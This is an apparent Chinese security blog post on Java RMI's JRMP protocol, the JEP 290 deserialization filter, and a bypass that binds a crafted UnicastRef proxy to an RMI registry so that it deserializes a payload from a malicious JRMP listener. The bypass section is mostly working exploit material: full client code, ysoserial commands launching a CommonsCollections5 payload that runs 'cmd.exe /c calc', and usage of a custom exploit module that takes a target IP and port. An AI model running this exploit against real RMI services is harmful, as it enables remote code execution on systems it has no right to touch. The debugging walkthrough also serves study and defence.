基本介绍
JRMP(JAVA Remote Method Protocol,即Java远程方法调用协议)是特定于Java技术的、用于查找和引用远程对象的协议,运行在Java远程方法调用(RMI)之下、TCP/IP之上的线路层协议(英语:Wire protocol),同时JRMP协议规定了在使用RMI的时候传输的数据中如果包含有JAVA原生序列化数据时,无论是在JRMP的客户端还是服务端,在接收到JRMP协议数据时都会把序列化的数据进行反序列化的话,这就有可能导致反序列化漏洞的产生了
实现方式
JRMP接口的两种常见实现方式:
JRMP协议(Java Remote Message Protocol),RMI专用的Java远程消息交换协议
IIOP协议(Internet Inter-ORB Protocol) ,基于CORBA实现的对象请求代理协议
简易示例
(1) 定义远程接口
首先我们需要定义一个远程接口,这个接口描述了可以被远程调用的方法,
package org.al1ex;
import java.rmi.Remote;
import java.rmi.RemoteException;
// 定义远程接口
public interface HelloService extends Remote {
String sayHello(String name) throws RemoteException;
}
(2) 实现远程接口
接下来实现上述远程接口,创建一个完整的远程服务类,需要注意的是这个接口需要继承UnicastRemoteObject并实现一个无参构造方法:
package org.al1ex;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
// 实现远程接口
public class HelloServiceImpl extends UnicastRemoteObject implements HelloService {
protected HelloServiceImpl() throws RemoteException {
super();
}
public String sayHello(String name) throws RemoteException {
return "Hello, " + name + "!";
}
}
(3) 注册对象并启动JVM
在服务器端我们需要创建一个RMI注册表将远程服务对象绑定到注册表中
package org.al1ex;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {
public static void main(String[] args) {
try {
// 创建远程对象
HelloService helloService = new HelloServiceImpl();
// 创建 RMI 注册表
Registry registry = LocateRegistry.createRegistry(1099);
registry.rebind("HelloService", helloService); // 绑定远程对象到注册表
System.out.println("RMI Server is ready.");
} catch (Exception e) {
e.printStackTrace();
}
}
}
(4) 最后创建一个客户端来调用远程服务的sayHello方法
package org.al1ex;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIClient {
public static void main(String[] args) {
try {
// 获取 RMI 注册表
Registry registry = LocateRegistry.getRegistry("localhost", 1099);
HelloService stub = (HelloService) registry.lookup("HelloService");
// 调用远程方法
String response = stub.sayHello("World"); // 传递参数 "World"
System.out.println("Response from server: " + response);
} catch (Exception e) {
e.printStackTrace();
}
}
}
服务端运行结果:
客户端运行结果:
JEP290检测
JEP290增强机制是在2016年提出的一个针对JAVA 9的一个新特性,用于缓解反序列化攻击,随后官方决定向下引进该增强机制,分别对JDK 6,7,8进行了支持:
Java SE Development Kit 8, Update 121 (JDK 8u121)
Java SE Development Kit 7, Update 131 (JDK 7u131)
Java SE Development Kit 6, Update 141 (JDK 6u141)
JEP290主要做了以下几件事:
限制反序列化的深度和复杂度
为RMI远程调用对象提供了一个验证类的机制
提供一个限制反序列化类的机制,白名单/黑名单
定义一个可配置的过滤机制,比如可以通过配置properties文件的形式来定义过滤器
下面我们简易分析一下JEP 290检测机制的工作原理:
RMI的实现流程如下所示:
在远程引用层中客户端服务端两个交互的类分别是RegistryImpl_Stub和RegistryImpl_Skel,在服务端的RegistryImpl_Skel类中向注册中心进行bind、rebind操作时均进行了readObject操作以此拿到Remote远程对象引用,在这里跟进查看一番:在远程引用层中客户端服务端两个交互的类分别是RegistryImpl_Stub和Regis
在readObject中又调用了readObject,之后继续跟进:
然后进入readObject0()
在readObject0()之中进入readOrdinaryObject()
继续进入readClassDesc()
之后进入readProxyDesc()
在readProxyDesc()中有filterCheck
进入filterCheck()之后先检查其所有接口,然后检查对象自身:
在这里调用了serialFilter.checkInput(),最终来到sun.rmi.registry.RegistryImpl#registryFilter,在这里由于白名单中不含有当前AnnotationInvocationHandler类,所以返回REJECTED
if (!var2.isArray()) {
return String.class != var2 &&
!Number.class.isAssignableFrom(var2) &&
!Remote.class.isAssignableFrom(var2) &&
!Proxy.class.isAssignableFrom(var2) &&
!UnicastRef.class.isAssignableFrom(var2) &&
!RMIClientSocketFactory.class.isAssignableFrom(var2) &&
!RMIServerSocketFactory.class.isAssignableFrom(var2) &&
!ActivationID.class.isAssignableFrom(var2) &&
!UID.class.isAssignableFrom(var2)
?Status.REJECTED : Status.ALLOWED;
}
即白名单类:
String.class
Number.class
Remote.class
Proxy.class
UnicastRef.class
RMIClientSocketFactory.class
RMIServerSocketFactory.class
ActivationID.class
UID.class
绕过原理
从上面可以看到在处理序列化数据时已经有了白名单的检查,但是我们还可以通过JRMP进行绕过,基本原理如下图所示
说白了就是利用在JDK8u231之前的JDK版本能够让注册中心反序列化UnicastRef类,从而使这个类发起一个JRMP连接到恶意JRMP服务端上,从而在DGC层造成一个反序列化
绕过复现
首先定义一个测试接口
package RMI;
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface User extends Remote {
String name(String name) throws RemoteException;
void say(String say) throws RemoteException;
void dowork(Object work) throws RemoteException;
}
随后实现接口,此接口需要有一个显示的构造函数并且要抛出一个RemoteException异常
package RMI;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
// java.rmi.server.UnicastRemoteObject构造函数中将生成stub和skeleton
public class UserImpl extends UnicastRemoteObject implements User{
// 必须有一个显式的构造函数,并且要抛出一个RemoteException异常
public UserImpl() throws RemoteException{
super();
}
@Override
public String name(String name) throws RemoteException{
return name;
}
@Override
public void say(String say) throws RemoteException{
System.out.println("you speak" + say);
}
@Override
public void dowork(Object work) throws RemoteException{
System.out.println("your work is " + work);
}
}
RMISever端:
package RMI;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {
public static void main(String[] args) throws Exception{
Registry registry = LocateRegistry.createRegistry(1099);
User user = new UserImpl();
registry.rebind("HelloRegistry", user);
System.out.println("rmi start at 1099");
}
}
RMIClient端:
package RMI;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;
public class RMIClient {
public static void main(String[] args) throws RemoteException, IllegalAccessException, InvocationTargetException, InstantiationException, ClassNotFoundException, NoSuchMethodException, AlreadyBoundException {
Registry reg = LocateRegistry.getRegistry("localhost",1099); // rmi start at 1099
ObjID id = new ObjID(new Random().nextInt());
TCPEndpoint te = new TCPEndpoint("127.0.0.1", 1088); // JRMPListener's port is 1088
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Registry proxy = (Registry) Proxy.newProxyInstance(RMIClient.class.getClassLoader(), new Class[] {
Registry.class
}, obj);
reg.bind("Hello",proxy);
}
}
下面进行具体的漏洞利用演示:
Step 1:首先使用ysoserial启动一个恶意的JRMPListener
"C:\Program Files\Java\jdk1.8.0_151\bin\java.exe" -cp ysoserial.jar ysoserial.exploit.JRMPListener 1088 CommonsCollections5 "cmd.exe /c calc"
Step 2:启动一个RMI服务
package test;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class UserServer {
public static void main(String[] args) throws Exception{
Registry registry = LocateRegistry.createRegistry(1099);
User user = new UserImpl();
registry.rebind("HelloRegistry", user);
System.out.println("rmi start at 1099");
}
}
Step 3:客户端获取注册中心示例并绑定一个UnicastRef对象到注册中心中去
package RMI;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;
public class RMIClient {
public static void main(String[] args) throws RemoteException, IllegalAccessException, InvocationTargetException, InstantiationException, ClassNotFoundException, NoSuchMethodException, AlreadyBoundException {
Registry reg = LocateRegistry.getRegistry("localhost",1099); // rmi start at 1099
ObjID id = new ObjID(new Random().nextInt());
TCPEndpoint te = new TCPEndpoint("127.0.0.1", 1088); // JRMPListener's port is 1088
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Registry proxy = (Registry) Proxy.newProxyInstance(RMIClient.class.getClassLoader(), new Class[] {
Registry.class
}, obj);
reg.bind("Hello",proxy);
}}
JRMPListener端不间断的发送返回数据过去,此时注册表中心收到后会不断的进行反序列化操作
绕过分析
下面我们在客户端下断点进行分析,首先可以看到这里的客户端调用LocateRegistry.getRegistry获取注册中心后,获得了一个封装了UnicastRef对象的RegistryImpl_Stub对象,其中UnicastRef对象用于与注册中心创建通信
当我们调用bind()方法时,会通过UnicastRef对象中存储的信息与注册中心进行通信,而且在这里会通过ref与注册中心通信并将绑定的对象名称以及要绑定的远程对象发过去,注册中心在后续会对应进行反序列化
注册中心在接收到请求后使用的readObject方法最终是调用了RemoteObjectInvocationHandler父类RemoteObject的readObject(RemoteObjectInvocationHandler没有实现readObject方法)
下面我们跟进这里的ReadObject方法最后有一个ref.readExternal(in);
调用栈如下所示:
readObject:455, RemoteObject (java.rmi.server)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1170, ObjectStreamClass (java.io)
readSerialData:2178, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
defaultReadFields:2287, ObjectInputStream (java.io)
readSerialData:2211, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
dispatch:76, RegistryImpl_Skel (sun.rmi.registry)
oldDispatch:468, UnicastServerRef (sun.rmi.server)
dispatch:300, UnicastServerRef (sun.rmi.server)
run:200, Transport$1 (sun.rmi.transport)
run:197, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:573, TCPTransport (sun.rmi.transport.tcp)
run0:834, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
lambda$run$0:688, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
run:-1, 573967274 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$5)
doPrivileged:-1, AccessController (java.security)
run:687, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:748, Thread (java.lang)
继续跟进后可以看到这里调用了LiveRef.read()
继续跟进后可以看到这里把payload里所传入的LiveRef解析到var5变量处,里面包含了IP与端口信息(JRMPListener的端口),这些信息将用于后面注册中心与JRMP端建立通信
随后回到dispatch那里,在这里调用了readObject方法之后又调用了var2.releaseInputStream();,持续跟入
继续跟入this.in.registerRefs();
可以看到这里的传利的var2就是之前的IP和端口信息,继续跟入:
EndpointEntry创建了一个DGCImpl_Stub,最后DGCCient.EndpointEntry返回的var2是一个DGCClient对象:
继续跟入var2.registerRef,可以看到在最后一行调用了this.makeDirtyCall并传入了DGCClient对象:
跟进之后可以看到调用了this.dgc.dirty方法
在这里注册中心就跟JRMP开始建立连接了,首先通过newCall建立连接,随后通过writeObject写入要请求的数据,invoke来处理传输数据,这里是将数据发送到JRMP端,跟入this.ref.invoke(var5);
随后跟入var1.executeCall():
随后JRMP端发过来的数据会在这里被反序列化,这一个过程是没有调用setObjectInputFilter的,serialFilter也就为空,所以只需要让JRMP端返回一个恶意对象就可以攻击成功了,而这个JRMP端可以直接用ysoserial启动
工具化类
在这里我们在ysoserial(https://github.com/Al1ex/ysoserial) 中进行利用扩展支持,工具利用方式如下:
Step 1:首先使用ysoserial启动一个恶意的JRMPListener
Step 2:启动一个RMI服务
package org.al1ex;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {
public static void main(String[] args) {
try {
// 创建远程对象
HelloService helloService = new HelloServiceImpl();
// 创建 RMI 注册表
Registry registry = LocateRegistry.createRegistry(1099);
registry.bind("HelloService", helloService); // 绑定远程对象到注册表
System.out.println("RMI Server is ready.");
} catch (Exception e) {
e.printStackTrace();
}
}
}
Step 3:客户端获取注册中心示例并绑定一个UnicastRef对象到注册中心中去
#格式说明
"C:\Program Files\Java\jdk1.8.0_151\bin\java.exe" -cp ysoserial.jar ysoserial.exploit.UnicastRefBypassJEP290 <攻击目标IP> <攻击目标端口> <本地JRMP服务IP> <本地JRMP服务端口>
#执行示例
"C:\Program Files\Java\jdk1.8.0_151\bin\java.exe" -cp ysoserial.jar ysoserial.exploit.UnicastRefBypassJEP290 127.0.0.1 1099 127.0.0.1 1088
此时的JRMP客户端执行效果如下:
参考链接
http://openjdk.java.net/jeps/290
https://i.blackhat.com/eu-19/Wednesday/eu-19-An-Far-Sides-Of-Java-Remote-Protocols.pdf
https://stackoverflow.com/questions/41821240/rmi-registry-filter-rejects-rmi-configuration-class-in-java-8-update-121
https://www.codersec.net/2018/09/%E4%B8%80%E6%AC%A1%E6%94%BB%E5%87%BB%E5%86%85%E7%BD%91rmi%E6%9C%8D%E5%8A%A1%E7%9A%84%E6%B7%B1%E6%80%9D/
推 荐 阅 读
横向移动之RDP&Desktop Session Hija